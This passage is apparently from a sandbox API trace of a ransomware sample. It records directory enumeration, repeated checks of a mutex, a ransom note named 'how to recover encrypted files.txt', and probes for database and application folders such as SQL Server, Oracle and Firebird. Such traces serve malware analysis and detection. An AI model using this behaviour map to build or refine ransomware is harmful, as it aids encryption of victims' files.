lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.910] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllll ", lpUsedDefaultChar=0x0) returned 4 [0058.910] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.910] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.910] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.910] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.910] GlobalUnlock (hMem=0x44000c) returned 0 [0058.910] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.910] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.910] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.910] GlobalUnlock (hMem=0x44000c) returned 0 [0058.910] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.910] GlobalUnlock (hMem=0x440004) returned 0 [0058.910] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.910] CharLowerBuffW (in: lpsz="sqmapi.dll", cchLength=0xa | out: lpsz="sqmapi.dll") returned 0xa [0058.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.911] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlli.dll", lpUsedDefaultChar=0x0) returned 4 [0058.911] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.911] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.911] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.911] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.911] GlobalUnlock (hMem=0x440004) returned 0 [0058.911] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.911] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.911] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.911] GlobalUnlock (hMem=0x440004) returned 0 [0058.911] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.911] GlobalUnlock (hMem=0x44000c) returned 0 [0058.911] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.911] CharLowerBuffW (in: lpsz="webdrive.exe", cchLength=0xc | out: lpsz="webdrive.exe") returned 0xc [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.912] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0058.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeive.exe", lpUsedDefaultChar=0x0) returned 4 [0058.912] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0058.912] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.912] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.912] GlobalUnlock (hMem=0x44000c) returned 0 [0058.912] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.912] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.912] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.912] GlobalUnlock (hMem=0x44000c) returned 0 [0058.912] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.912] GlobalUnlock (hMem=0x440004) returned 0 [0058.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44497dc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44497dc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0058.913] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0058.913] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.913] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.913] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.913] GlobalUnlock (hMem=0x440004) returned 0 [0058.913] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.913] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.913] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.913] GlobalUnlock (hMem=0x440004) returned 0 [0058.913] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.913] GlobalUnlock (hMem=0x44000c) returned 0 [0058.913] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.913] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44497dc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44497dc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.913] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.913] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.913] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.913] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.914] GlobalUnlock (hMem=0x44000c) returned 0 [0058.914] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.914] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.914] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.914] GlobalUnlock (hMem=0x44000c) returned 0 [0058.914] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.914] GlobalUnlock (hMem=0x440004) returned 0 [0058.914] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.914] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.914] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.914] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.914] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.914] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.914] GlobalUnlock (hMem=0x440004) returned 0 [0058.914] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.914] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.914] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.914] GlobalUnlock (hMem=0x440004) returned 0 [0058.914] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.914] GlobalUnlock (hMem=0x44000c) returned 0 [0058.914] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.914] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.914] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.914] GlobalUnlock (hMem=0x44000c) returned 0 [0058.914] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.914] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.914] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.914] GlobalUnlock (hMem=0x44000c) returned 0 [0058.915] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.915] GlobalUnlock (hMem=0x440004) returned 0 [0058.915] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.915] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Internet Explorer\\en-US", len=0x28 | out: pbstr=0x18f444*="C:\\Program Files\\Internet Explorer\\en-US") returned 1 [0058.915] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.915] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.915] GlobalUnlock (hMem=0x440004) returned 0 [0058.915] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.915] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.915] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.915] GlobalUnlock (hMem=0x440004) returned 0 [0058.915] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.915] GlobalUnlock (hMem=0x44000c) returned 0 [0058.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0058.916] GetLastError () returned 0x3 [0058.916] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\뵱眷\x18\x18\x18") returned 21 [0058.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18䁼Q\x181")) returned 0xffffffff [0058.917] GetLastError () returned 0x2 [0058.917] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\뵱眷\x18\x18\x18") returned 9 [0058.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@禔T企@\x18?T\x18;")) returned 0xffffffff [0058.919] GetLastError () returned 0x2 [0058.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\뵱眷\x18\x18\x18") returned 8 [0058.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0058.921] GetLastError () returned 0x2 [0058.921] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0058.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@禔T企@\x18嚔U\x18j")) returned 0xffffffff [0058.923] GetLastError () returned 0x2 [0058.923] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0058.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0058.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@羼R企@\x18?T\x18q")) returned 0xffffffff [0058.924] GetLastError () returned 0x2 [0058.925] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\嚐U`") returned 6 [0058.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@缤R企@\x18?T\x18y")) returned 0xffffffff [0058.926] GetLastError () returned 0x2 [0058.926] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\en-US\\", cchLength=0x29 | out: lpsz="c:\\program files\\internet explorer\\en-us\\") returned 0x29 [0058.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0058.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, 